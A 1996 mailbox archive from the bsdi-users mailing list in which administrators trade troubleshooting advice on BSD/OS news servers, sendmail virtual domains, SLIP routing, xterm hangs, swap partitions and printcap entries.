BSD/OS 2.1? > > I have a rough spec as follows > > Pentium 200 (Pro) > > 256 Megs of Ram > > 1 Gig internal System disk > > 20 Gig Sag Electronics External RAID > > 10/100 3Com or SMC Ethernet > > Adaptec 2940UW Controller > > > > Video, etc as required > > > > WE want to carry ~14,000 groups with room for 6 months of growth > >running with a minimum 5 day expire on binaries. > > > >Commets? With 2.1 you'll want to use the CD driver. Otherwise the 20 GB array looks like one big drive and most of the disk heads will be idle at any given time. > I have two suggestion. In the next few months to a year BSDI is supposed to > support multiprocessing. I'd consider getting a dual processor board. > Then, at the end of the product cycle, you can add a new chip and add a lot > more power if it is cpu limited. I've seen some for about $450 (dual processor > boards with ATX or not and USB, infrared stuff, etc). Unless you're talking about supporting 1000 users, multi processors are completely unnecessary. INN needs a) lots of spindles for lots of little IO's, and b) lots of RAM, in that order. CPU requirements are really minimal:) > You might also try adding controllers and splitting the disks over them. Hard to so when it's all in one array:( > In short, I'd see what is limiting performance and possibly add/change > something then. You may gain as much from moving stuff around on disks as > anything else. The idea of the array is to automatically spread things over all the disks anyway:) --- David Miller ---------------------------------------------------------------------------- It's *amazing* what one can accomplish when one doesn't know what one can't do! From VM Fri Nov 8 01:46:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1379" "Fri" "8" "November" "1996" "12:43:22" "-0300" "JOAO HENRIQUE BERGAMASCO" "jhbergamasco@netco.com.br" nil "50" "Where is my route ?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA20722 for ; Thu, 7 Nov 1996 09:46:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA13636 for bsdi-users-outgoing; Thu, 7 Nov 1996 09:44:14 -0500 (EST) Message-ID: <3283551A.4173@netco.com.br> Reply-To: jhbergamasco@netco.com.br Organization: NetCo. Tecnologia de Informação Ltda. X-Mailer: Mozilla 3.0 (WinNT; I) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: JOAO HENRIQUE BERGAMASCO Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Where is my route ? Date: Fri, 08 Nov 1996 12:43:22 -0300 Hi all, Thanks for read me! Since yesterday, I have been getting a stranger message from BSDI. I have changed the modem to another port and the problem persist. Please, can you help me ? lua# ping 200.247.23.66 PING 200.247.23.66 (200.247.23.66): 56 data bytes ping: sendto: Network is down ping: wrote 200.247.23.66 64 chars, ret=-1 ping: sendto: Network is down ping: wrote 200.247.23.66 64 chars, ret=-1 ping: sendto: Network is down ping: wrote 200.247.23.66 64 chars, ret=-1 ^C --- 200.247.23.66 ping statistics --- 3 packets transmitted, 0 packets received, 100% packet loss lua# lua# ifconfig sl3 sl3: flags=c011 inet 200.247.7.3 --> 200.247.23.66 netmask 0xfffffffe lua# lua#netstat -rn | grep sl3 200.247.23.32/27 200.247.23.66 UGS 0 7 sl3 200.247.23.66 200.247.7.3 UH 1 3 sl3 lua# lua#route get 200.247.23.33 route to: 200.247.23.33 destination: 200.247.23.32 mask: 255.255.255.224 gateway: 200.247.23.66 interface: sl3 flags: recvpipe sendpipe ssthresh rtt,msec rttvar hopcount mtu expire 0 0 0 0 0 0 0 0 lua# Joao Bergamasco, NetCo. From VM Fri Nov 8 01:46:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1195" "Thu" "7" "November" "1996" "08:49:58" "+0000" "Mike Grommet" "mgrommet@insolwwb.net" nil "33" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA21003 for ; Thu, 7 Nov 1996 10:04:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA13702 for bsdi-users-outgoing; Thu, 7 Nov 1996 09:57:55 -0500 (EST) Message-Id: <199611071433.IAA19816@ns.insolwwb.net> Comments: Authenticated sender is X-mailer: Pegasus Mail for Windows (v2.33) Precedence: bulk From: "Mike Grommet" Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson CC: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Thu, 7 Nov 1996 08:49:58 +0000 > Date: Wed, 6 Nov 1996 18:18:22 -0800 (PST) > From: Chris McGlasson > To: bsdi-users@BSDI.COM > Subject: Virtual Domain Email > I was wondering if it was necessary to configure the sendmail.cf file for > setting up virtual domain email addresses? I am having problems with > getting a domain to receive email from a remote site. > > I have MX files set up in my named DNS files, have added the domain to > the sendmail.cw, and I am able to send mail to the domain with my domain > but when it comes time to receive mail from a different domain, the mail > is rejected. > > Is there something I am leaving OUT? Any info would be greatly appreciated. > Thanks in advance. > > Chris > > Well, I have about 30 virtual domains working in this manner... All I had to do (besides the dns setup) was to add the domain line into sendmail.cw and restart sendmail..... Also, this works just dandy from offsite.... Mike Grommet System Administrator & Web Page Designer Internet Solutions, Inc. mgrommet@insolwwb.net "As long as there are tests, there will always be prayer in schools." -- Unknown, but probably a student :) From VM Fri Nov 8 01:46:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["746" "Thu" "7" "November" "1996" "10:45:59" "-0500" "Mike Pelletier" "mikep@comshare.com" nil "22" "Re: V2.1, all patches, I/O (?) hung today" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA22615 for ; Thu, 7 Nov 1996 10:59:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA13824 for bsdi-users-outgoing; Thu, 7 Nov 1996 10:49:07 -0500 (EST) Posted-Date: Thu, 7 Nov 1996 10:46:00 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pelletier Sender: owner-bsdi-users@lists.gateway.com To: Robert Hare cc: Jay Vassos-Libove , problem@BSDI.COM, bsdi-users@BSDI.COM Subject: Re: V2.1, all patches, I/O (?) hung today Date: Thu, 7 Nov 1996 10:45:59 -0500 (EST) On Wed, 6 Nov 1996, Robert Hare wrote: > We have been seeing the same thing. We are runnig 2.1 with patches > through 24. We have noticed that when we run "Netscape Gold 3.0/U.S., > 28-Aug-96", the machine will frequently hang (ie. easy to duplicate). We > are not running X on the console. As of November 1, Navigator Gold 3.01 is available. Might want to try downloading that and seeing if the problem persists. I haven't run into this problem on my desktop system which is running 2.1 with patches through 24, although my use of Navigator is typically not very heavy and I'm not running the "Gold" version. -Mike Pelletier. From VM Fri Nov 8 01:46:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["4327" "Thu" "7" "November" "1996" "11:18:15" "-0500" "Jay Vassos-Libove" "libove@libove.mindspring.com" nil "91" "Re: V2.1, all patches, I/O (?) hung today" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA23174 for ; Thu, 7 Nov 1996 11:25:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA13863 for bsdi-users-outgoing; Thu, 7 Nov 1996 11:18:31 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jay Vassos-Libove Sender: owner-bsdi-users@lists.gateway.com To: problem@BSDI.COM, bsdi-users@BSDI.COM Subject: Re: V2.1, all patches, I/O (?) hung today Date: Thu, 7 Nov 1996 11:18:15 -0500 (EST) To add to my own problem report: I am running Netscape Navigator v3.0 - not Navigator Gold, and not 3.01. The Navigator version is not the point -- while the particular mis-interaction may be caused only by Navigator (and Gold) 3.0, and might have changed in 3.01, the problem is that an application, running non-privileged, can cause a system hang (maybe). I agree that the problem appears to be an I/O bus hang. Nothing was logged about it, as I said. BSDi - is there a "be aggressive about bus resets" mode that can be turned on for long periods of I/O hanging (over a few seconds)? Have you seen anything to suggest that there is indeed a feature of Netscape Navigator 3.0 that can cause BSD/OS v2.1 with all patches (through K210-024) to hang? In this particular case, ctrl-alt-delete did NOT work (it was ignored). Pressing the hardware reset switch brought the system back up normally. -Jay On Wed, 6 Nov 1996, Jay Vassos-Libove wrote: > Date: Wed, 6 Nov 1996 18:40:50 -0500 (EST) > From: Jay Vassos-Libove > To: problem@BSDI.COM, bsdi-users@BSDI.COM > Subject: V2.1, all patches, I/O (?) hung today > > I've been running BSD/OS V2.1 pretty much since its release date, and had > no trouble. A few days ago, I installed the most recent set of patches > and a few older ones that I had not bothered to install yet (something > like Kernel patches after K210-017). Due to slippage on my own part, I > ended up doing a very clean patch install -- I deleted /usr/src/sys/ and > installed the kernel sources from CD, then applied all patches in order, > and rebuilt the kernel. > > Things seemed fine... but then earlier this afternoon, just over four days > after the new kernel was installed and the system rebooted, the system > "hung". > > This was not a total hang, where nothing at all works. The kernel was > still able to respond to ethernet interrupts, and the kernel routing > functionality was undamaged (I ping'ed and telnet'd through the > hung machine to another machine, and was able to ping the hung machine, > but not telnet to the hung machine). > > The hang occurred after quite heavy use of Netscape Navigator (v3.0), and > happenned to occur right when I had composed a mail message in a Navigator > mail composition window and clicked Send. > > Virtual memory should not be a problem -- the system has 40M RAM and 128M > swap configured. Running the same application mix right now that I was > running prior to the hang, ~35M is allocated. Even allowing for much > greater growth in Netscape, I'm sure that the system didn't run out of > virtual memory. (Performance was fine, and the disks weren't rattling any > more than usual). > > I am the sole user of the system. It is connected to the Internet via a > dialup PPP link (USR Courier, 33.6, actually gets 31.2 connects, port > configured for 57,600 baud). It has an Adaptec 1542CF controller with two > hard disks, two CDROM readers, and a tape drive on it. I added the second > CDROM over a week ago, prior to the new kernel, and it seems to work fine. > (It isn't new, and had worked fine on other systems earlier). The system > runs X on its console (necessarily, for Netscape as described above :} ), > via an ATI Graphics Ultra Pro 2M VRAM (ISA bus) card. > > The only changes in the system are the new CDROM and the kernel patches. > While Netscape itself has crapped out on me many times (it just goes away > and/or core dumps), the system has never frozen up like this. > > Nothing out of the ordinary was logged to any of the /var/log/ files. (Is > there some place else to check? Sorry, I don't have another syslog daemon > to which I could direct a copy of log messages in case the problem was an > I/O subsystem hang... unless someone has a syslog listener for a Windows > NT 3.51 system?). > > Has anyone else seen this? Any suggestions? > > Thanks - > > Jay Vassos-Libove libove@libove.MindSpring.com > +1 770 552 0543 home +1 404 705 2867 work > Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society > SERIS - Enhancing Your Time On-Line > > Jay Vassos-Libove libove@libove.MindSpring.com +1 770 552 0543 home +1 404 705 2867 work Roswell, GA 30075 U.S.A. The SouthEast Regional Internet Society SERIS - Enhancing Your Time On-Line From VM Fri Nov 8 01:46:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1677" "Thu" "7" "November" "1996" "08:40:55" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "39" "Re: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA23449 for ; Thu, 7 Nov 1996 11:35:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA13880 for bsdi-users-outgoing; Thu, 7 Nov 1996 11:22:30 -0500 (EST) In-Reply-To: <199611070420.XAA08451@crystal.palace.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: "Matthew R. Sheahan" cc: bsdi-users@BSDI.COM Subject: Re: Virtual Domain Email Date: Thu, 7 Nov 1996 08:40:55 -0800 (PST) Thank you. Will do. The help is very much appreciated. Chris On Wed, 6 Nov 1996, Matthew R. Sheahan wrote: > > I was wondering if it was necessary to configure the sendmail.cf file for > > setting up virtual domain email addresses? I am having problems with > > getting a domain to receive email from a remote site. > > > > I have MX files set up in my named DNS files, have added the domain to > > the sendmail.cw, and I am able to send mail to the domain with my domain > > but when it comes time to receive mail from a different domain, the mail > > is rejected. > > Aside from the need to kill and restart sendmail, that sounds like it > should work. However, the Cw approach has a number of drawbacks over > the other main strategy of delivering mail for all addresses under the > domain to a user account. To do this, place a rule of the form > > R$+ <@ company.com.> $#local $:company > ^^^^ > this is a tab > > under the S98 header in sendmail.cf. This will cause mail addressed to > @company.com to arrive in the specified mailbox. To redirect one > specific address elsewhere, write a rule _before_ this one substituting > the address for the "$+". > > Pardon the shameless self-promotion, but if you will be setting up virtual > domains on a regular basis, you may want to check out the software package > Quickhost at http://www.ajna.com/products.html. It acts a great deal like > adduser, automating the virtual host setup process (including the mail > redirection above), and it's designed specifically for BSDI. > > | Matthew R. Sheahan | > | Crystal Palace Networking | > From VM Fri Nov 8 01:46:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1766" "Thu" "7" "November" "1996" "08:39:26" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "52" "RE: Virtual Domain Email" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA23454 for ; Thu, 7 Nov 1996 11:35:52 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA13872 for bsdi-users-outgoing; Thu, 7 Nov 1996 11:21:06 -0500 (EST) In-Reply-To: <01BBCC27.BB8EA820@jeffrl.wantabe.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: Jeffrey J Libman cc: "bsdi-users@BSDI.COM" Subject: RE: Virtual Domain Email Date: Thu, 7 Nov 1996 08:39:26 -0800 (PST) Thank you very much. I really do appreciate the help. Chris On Wed, 6 Nov 1996, Jeffrey J Libman wrote: > yes, it is necessary to configure sendmail.cf. i have a solution which involves changing the configuration only once, then simply maintaining a database or two. > > check out my solution at: > http://www.sinbad.wantabe.com/virtualmail > > and i hope this helps you. > > cheers, > jeff > -------------------- > "Well, that was a piece of cake, eh K-9?" > "Piece of cake, Master? Radial slice of baked confection ... coefficient of relevance to Key of Time: zero." > -- Dr. Who > -------------------- \ > Jeffrey J. Libman, ops. mgr. |\ web - http://www.wantabe.com > Wantabe, Inc. |_\ ftp - ftp.wantabe.com > jeffrl@wantabe.com <----|----> mail > (713) 493-0718 __,.-=\'`^`'~=-..news > apache is kool! > bsdi is kooler! > > > ---------- > From: Chris McGlasson[SMTP:chrism@chiba.netxn.com] > Sent: Wednesday, November 06, 1996 12:18 PM > To: bsdi-users@BSDI.COM > Subject: Virtual Domain Email > > I was wondering if it was necessary to configure the sendmail.cf file for > setting up virtual domain email addresses? I am having problems with > getting a domain to receive email from a remote site. > > I have MX files set up in my named DNS files, have added the domain to > the sendmail.cw, and I am able to send mail to the domain with my domain > but when it comes time to receive mail from a different domain, the mail > is rejected. > > Is there something I am leaving OUT? Any info would be greatly appreciated. > Thanks in advance. > > Chris > > > > From VM Fri Nov 8 01:47:01 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["413" "Thu" "7" "November" "1996" "12:22:36" "-0500" "Percy E. Perez" "percy@intercall.com" nil "19" "Sendmail Cf" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA25071 for ; Thu, 7 Nov 1996 12:33:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA14000 for bsdi-users-outgoing; Thu, 7 Nov 1996 12:24:13 -0500 (EST) Message-Id: <2.2.32.19961107172236.009f601c@mail.intercall.com> X-Sender: percy@mail.intercall.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Percy E Perez Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Sendmail Cf Date: Thu, 07 Nov 1996 12:22:36 -0500 Hello all, does anyone know if sendmail has the ability of purging old mail? What I want to also is forward all incoming messages and forward them to two different email addresses. I do not want to use .forward, since I would have to include it in all my user's directories, what I would like to do is modify my sendmail.cf. Any suggestions, or sites where I can look info? Thanks a million. From VM Fri Nov 8 01:47:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1191" "Thu" "7" "November" "1996" "10:10:59" "-0800" "Tom Glover" "tomg@boiled.egg.com" nil "38" "xterm" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA26195 for ; Thu, 7 Nov 1996 13:20:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA14077 for bsdi-users-outgoing; Thu, 7 Nov 1996 13:11:21 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tom Glover Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: xterm Date: Thu, 7 Nov 1996 10:10:59 -0800 (PST) Looked in Nexial and can't find this one. BSD/OS 2.1 with latest XAccel. Has been working just fine but had to do a reboot after running it for a few months. Now the xterm sessions hang with no prompt after a startx. Weird. So I looked at the lines that start them from .xinitrc daemon xterm -C -geometry 80x8+0+0 -n Console -T Console -ls +ut that one hangs daemon xterm -n Console -T Console -ls +ut that works fine. Weirder. daemon xterm -geometry 80x8+0+0 -n "Local" -T "Local" -ls +ut hangs daemon xterm -n "Local" -T "Local" -ls +ut works fine too. So it appears that it doesn't like getting the geometry. I'm stuck. This has always worked and I can't remember changing anything which would cause this. However the system was up for 3 months before rebooting and since I have a problem remembering what I did yesterday .... Any ideas out there? -- Regards, Tom __________________________________________________________________________ | "The Egg Domain" | "Diplomacy is the art of saying "Good doggie" | | tomg@boiled.egg.com | while searching for a big rock. | | http://www.egg.com/ | | From VM Fri Nov 8 01:47:11 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1286" "Thu" "7" "November" "1996" "10:21:37" "-0800" "Tom Glover" "tomg@boiled.egg.com" nil "42" "xterm - more" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA26462 for ; Thu, 7 Nov 1996 13:21:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA14115 for bsdi-users-outgoing; Thu, 7 Nov 1996 13:21:53 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tom Glover Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: xterm - more Date: Thu, 7 Nov 1996 10:21:37 -0800 (PST) Something else on this one. xterm dumps core if I specify a geometry. ---------------------- Looked in Nexial and can't find this one. BSD/OS 2.1 with latest XAccel. Has been working just fine but had to do a reboot after running it for a few months. Now the xterm sessions hang with no prompt after a startx. Weird. So I looked at the lines that start them from .xinitrc daemon xterm -C -geometry 80x8+0+0 -n Console -T Console -ls +ut that one hangs daemon xterm -n Console -T Console -ls +ut that works fine. Weirder. daemon xterm -geometry 80x8+0+0 -n "Local" -T "Local" -ls +ut hangs daemon xterm -n "Local" -T "Local" -ls +ut works fine too. So it appears that it doesn't like getting the geometry. I'm stuck. This has always worked and I can't remember changing anything which would cause this. However the system was up for 3 months before rebooting and since I have a problem remembering what I did yesterday .... Any ideas out there? -- Regards, Tom __________________________________________________________________________ | "The Egg Domain" | "Diplomacy is the art of saying "Good doggie" | | tomg@boiled.egg.com | while searching for a big rock. | | http://www.egg.com/ | | From VM Fri Nov 8 01:47:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["331" "Thu" "7" "November" "1996" "13:18:42" "-0500" "Kevin Sellars" "kevin@akorn.net" nil "8" "subnetting class c address" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA26466 for ; Thu, 7 Nov 1996 13:21:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA14091 for bsdi-users-outgoing; Thu, 7 Nov 1996 13:15:29 -0500 (EST) Path: not-for-mail Newsgroups: info.bsdi.users Organization: Akorn Access, Inc. Lines: 7 Message-ID: <01bbccd8.1b4612c0$0200a8c0@kevin.akorn.net> NNTP-Posting-Host: 205.217.100.15 X-Newsreader: Microsoft Internet News 4.70.1085 Precedence: bulk From: "Kevin Sellars" Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: subnetting class c address Date: Thu, 7 Nov 1996 13:18:42 -0500 I am interested in subnetting one of my class c ranges. I understand that I can cut this into four 62 host networks by borrowing 2 bits of the host number. What I don't understand is how this whole thing is directed through routing. If anyone has any info, or URL's to sites that have info, please email me directly. TIA Kevin From VM Fri Nov 8 01:47:14 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["336" "Thu" "7" "November" "1996" "10:38:01" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "15" "Re: Need to find ac for Linux" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA26757 for ; Thu, 7 Nov 1996 13:37:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA14129 for bsdi-users-outgoing; Thu, 7 Nov 1996 13:31:23 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: Randy Bush cc: The Doctor , bsdi-users@BSDI.COM Subject: Re: Need to find ac for Linux Date: Thu, 7 Nov 1996 10:38:01 -0800 (PST) On Wed, 6 Nov 1996, Randy Bush wrote: > > Here is a STRANGE question. > > > > a Linux user need an equivalent of ac. > > > > Where can it be found? > > As you asked on the BSDI list, I presume you really know the answer, > deinstall Linux and install UNIX, i.e. BSDI. > No no no.... keep linux. Much more stuff out there! Amy :) From VM Fri Nov 8 01:47:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1958" "Thu" "7" "November" "1996" "11:33:07" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "55" "Re: Swap Question " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA26762 for ; Thu, 7 Nov 1996 13:38:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA14146 for bsdi-users-outgoing; Thu, 7 Nov 1996 13:33:40 -0500 (EST) Message-Id: <199611071833.LAA27149@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Wed, 06 Nov 1996 14:44:46 PST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: "Dave A. Flanigan" cc: bsdi-users@BSDI.COM Subject: Re: Swap Question Date: Thu, 07 Nov 1996 11:33:07 -0700 Amy writes: >> How do 1: Find out the size of my current swap space. If I do a df >> on that >> partition (/dev/sd0b) I get some really strange results. Huge numbers, an >> -% for usage: >> Filesystem 512-blocks Used Avail Capacity Mounted on >> /dev/sd0b 270654175 1329928064 1520142760 -6089% df is intended for filesystems. Swap is not a filesystem; it is a raw partition. pstat -s gives a nice summary of your swap space: $ pstat -s Device name 1K-blocks Type wd0b 131036 Interleaved 92080 (1K-blocks) allocated out of 131036 (1K-blocks) total, 70% in use -Bill N >> and 2: How do I use the new drive as swap. Is there a special way to >> format it. I would like to just use the second drive for swap only. Here is > >I would run disksetup, choose a tiny (or zero if it will let you) size for >the / and /usr partiton, make the swap partiton as big as you want, and >then mount it with fstab. > >> my curent fstab file. Any help would be appreciated: >> >> /dev/sd0a / ufs rw 1 1 >> /dev/sd0h /usr ufs rw,userquota 1 2 >> /dev/sd0b swap swap sw 0 0 >> /dev/sr0a /cdrom cd9660 ro,noexec,nosuid,nodev 0 0 >> /dev/sd0b /tmp mfs rw,-s=32768 0 0 >> >> >You would need to change the line that defines the swap partition >(/dev/sd0b) to the partition that you want to use, and change the line >that mounts the mfs to the same partition. > >Amy :) You could also have more than one swap partition. So if you created partition sd1b for swap (using disksetup -i sd1) your fstab should look like /dev/sd0a / ufs rw 1 1 /dev/sd0h /usr ufs rw,userquota 1 2 /dev/sd0b swap swap sw 0 0 /dev/sd1b swap swap sw 0 0 /dev/sr0a /cdrom cd9660 ro,noexec,nosuid,nodev 0 0 /dev/sd0b /tmp mfs rw,-s=32768 0 0 Also check out the swapon command; swapon(8). -Bill N From VM Fri Nov 8 01:47:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["341" "Thu" "7" "November" "1996" "12:12:41" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "16" "Re: X Question... " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA27868 for ; Thu, 7 Nov 1996 14:14:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA14319 for bsdi-users-outgoing; Thu, 7 Nov 1996 14:12:56 -0500 (EST) Message-Id: <199611071912.MAA27308@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Thu, 07 Nov 1996 11:14:28 +1100." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Dave Horsfall cc: BSDi Users Subject: Re: X Question... Date: Thu, 07 Nov 1996 12:12:41 -0700 Dave Horsfall writes: >On Wed, 6 Nov 1996, Bill Nestlerode wrote: > >[ Virtual consoles with ALT/F# ] > >> An engineer here at BSDI said it was something Xinside had not implemented f >or >> BSD/OS. At any rate, it does not work. > >Next version, perhaps? I haven't heard. I don't know where we stand with Xinside on this issue. -Bill N From VM Fri Nov 8 01:47:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2436" "Thu" "7" "November" "1996" "12:05:39" "-0700" "Bill Nestlerode" "billn@bsdi.com" nil "73" "Re: Parallel printer problems " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA27867 for ; Thu, 7 Nov 1996 14:14:16 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA14302 for bsdi-users-outgoing; Thu, 7 Nov 1996 14:06:02 -0500 (EST) Message-Id: <199611071905.MAA27267@tao.bsdi.com> X-Mailer: exmh version 1.6.5 12/8/95 In-reply-to: Your message of "Wed, 06 Nov 1996 13:46:01 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Bill Nestlerode Sender: owner-bsdi-users@lists.gateway.com To: Cat Okita cc: bsdi-users@BSDI.COM Subject: Re: Parallel printer problems Date: Thu, 07 Nov 1996 12:05:39 -0700 Cat Okita writes: >On Wed, 6 Nov 1996, Bill Nestlerode wrote: >> When you say "lpr /tmp/foo.ps" the default printer lp (unless you've >> changed it by setting the environment variable PRINTER). Which of the three >> lp entries in >> your printcap are you using? > >Hi Bill - > >I used the appropriate printers as per the entry - 'lpr /tmp/foo.ps' was >an example. In my actual printcap, only one lp at a time was enabled - these >were included as they are by way of *example* > >Cat > OK Cat. I'm with you now. >> >> >----- cut here for samples ----- >> -->lp|local line printer:\ >> > :lp=/dev/lp0:sd=/var/spool/lpd:lf=/var/log/lpd-errs:\ >> > :if=/usr/libexec/lpr/lpf: lpf was designed for nroff output, it will change your PS file. >> >lp2:\ >> > :lp=/dev/lp0:sd=/var/spool/lpd:lf=/var/log/lpd-errs:\ >> > :if=/usr/contrib/lib/lprps/psif:\ >> > :vf=/usr/contrib/lib/lprps/psif:\ >> > :df=/usr/libexec/lpr/dvi2ps-filter: lprps(8) says: lprps handles communication with a PostScript printer for lpr output filters. The PostScript printer must be connected using a bidirectional serial channel. So i guess it doesn't work for a parallel printer. >> >lp3|test:\ >> > :lp=/dev/lp0:\ >> > :sd=/var/spool/lpd:\ >> > :lf=/var/log/lpd-errs:\ >> > :mx=0: I would think 'lpr /tmp/foo.ps' would work, but 'lpr /tmp/foo.txt' wouldn't. This should be the same as 'cat'. >> -->lp|0|deskjet|HP Deskjet:\ >> > :sh:lp=/dev/lp0:sd=/var/spool/lpd:lf=/var/log/lpd-errs:\ >> > :if=/usr/libexec/lpr/txt2jep-filter:\ >> > :df=/usr/libexec/lpr/dvi2jep-filter:\ >> > :vf=/usr/libexec/lpr/ps2jep-filter: Only if your printer emulates an HP and can detect the difference between HP and PS input. >> 